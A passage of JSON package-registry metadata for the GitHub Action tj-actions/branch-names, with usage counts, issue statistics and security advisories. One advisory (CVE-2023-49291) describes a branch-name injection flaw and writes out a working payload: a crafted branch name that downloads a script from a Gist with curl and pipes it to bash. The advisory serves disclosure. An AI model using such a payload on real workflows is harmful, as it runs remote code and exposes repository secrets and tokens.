25T20:08:48.727Z","updated_at":"2025-10-03T01:05:57.738Z","epss_percentage":0.00096,"epss_percentile":0.27802,"packages":[{"ecosystem":"actions","package_name":"tj-actions/branch-names","versions":[{"first_patched_version":"9.0.0","vulnerable_version_range":"\u003c= 8.2.1"}],"purl":null}]},{"uuid":"GSA_kwCzR0hTQS04djh3LXY4eGctNzlyZs4AA3lB","url":"https://github.com/advisories/GHSA-8v8w-v8xg-79rf","title":"tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection","description":"### Summary\n\nThe `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.\n\n### Details \n\nThe vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable.\n\n```yml\nruns:\n  using: \"composite\"\n  steps:\n    - id: branch\n      run: |\n        # \"Set branch names...\"\n        if [[ \"${{ github.ref }}\" != \"refs/tags/\"* ]]; then\n          BASE_REF=$(printf \"%q\" \"${{ github.event.pull_request.base.ref || github.base_ref }}\")\n          HEAD_REF=$(printf \"%q\" \"${{ github.event.pull_request.head.ref || github.head_ref }}\")\n          REF=$(printf \"%q\" \"${{ github.ref }}\")\n```\n\nAn attacker can use a branch name to inject arbitrary code, for example: `Test\")${IFS}\u0026\u0026${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash\u0026\u0026echo${IFS}$(\"foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.\n\n### Impact\nAn attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions.\n\n### Reference\n- https://securitylab.github.com/research/github-actions-untrusted-input","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-12-05T23:30:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf","https://nvd.nist.gov/vuln/detail/CVE-2023-49291","https://github.com/tj-actions/branch-names/commit/4923d1ca41f928c24f1c1b3af9daaadfb71e6337","https://github.com/tj-actions/branch-names/commit/6c999acf206f5561e19f46301bb310e9e70d8815","https://github.com/tj-actions/branch-names/commit/726fe9ba5e9da4fcc716223b7994ffd0358af060","https://securitylab.github.com/research/github-actions-untrusted-input","https://github.com/advisories/GHSA-8v8w-v8xg-79rf"],"source_kind":"github","identifiers":["GHSA-8v8w-v8xg-79rf","CVE-2023-49291"],"repository_url":"https://github.com/tj-actions/branch-names","blast_radius":1.0,"created_at":"2023-12-06T00:05:57.510Z","updated_at":"2023-12-07T13:50:50.000Z","epss_percentage":0.00906,"epss_percentile":0.75058,"packages":[{"ecosystem":"actions","package_name":"tj-actions/branch-names","versions":[{"first_patched_version":"7.0.7","vulnerable_version_range":"\u003c 7.0.7"}],"purl":null}]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/actions/tj-actions/branch-names","docker_dependents_count":1,"docker_downloads_count":18,"usage_url":"https://repos.ecosyste.ms/usage/actions/tj-actions/branch-names","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/actions/tj-actions/branch-names/dependencies","status":null,"funding_links":["https://github.com/sponsors/jackton1","https://opencollective.com/tj-actions"],"critical":null,"issue_metadata":{"last_synced_at":"2026-09-25T21:02:18.402Z","issues_count":14,"pull_requests_count":383,"avg_time_to_close_issue":184433.33333333334,"avg_time_to_close_pull_request":110786.44262295082,"issues_closed_count":12,"pull_requests_closed_count":366,"pull_request_authors_count":9,"issue_authors_count":14,"avg_comments_per_issue":2.0714285714285716,"avg_comments_per_pull_request":0.06266318537859007,"merged_pull_requests_count":338,"bot_issues_count":1,"bot_pull_requests_count":289,"past_year_issues_count":0,"past_year_pull_requests_count":6,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":1454379.0,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":3,"past_year_pull_request_authors_count":1,"past_year_issue_authors_count":0,"past_year_avg_comments_per_issue":null,"past_year_avg_comments_per_pull_request":1.3333333333333333,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":6,"past_year_merged_pull_requests_count":0,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/issues","maintainers":[{"login":"jackton1","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jackton1"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/github%20actions/packages/tj-actions%2Fbranch-names/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/github%20actions/packages/tj-actions%2Fbranch-names/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/github%20actions/packages/tj-actions%2Fbranch-names/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/github%20actions/packages/tj-actions%2Fbranch-names/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/github%20actions/packages/tj-actions%2Fbranch-names/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/github%20actions/packages/tj-actions%2Fbranch-names/codemeta","maintainers":[]}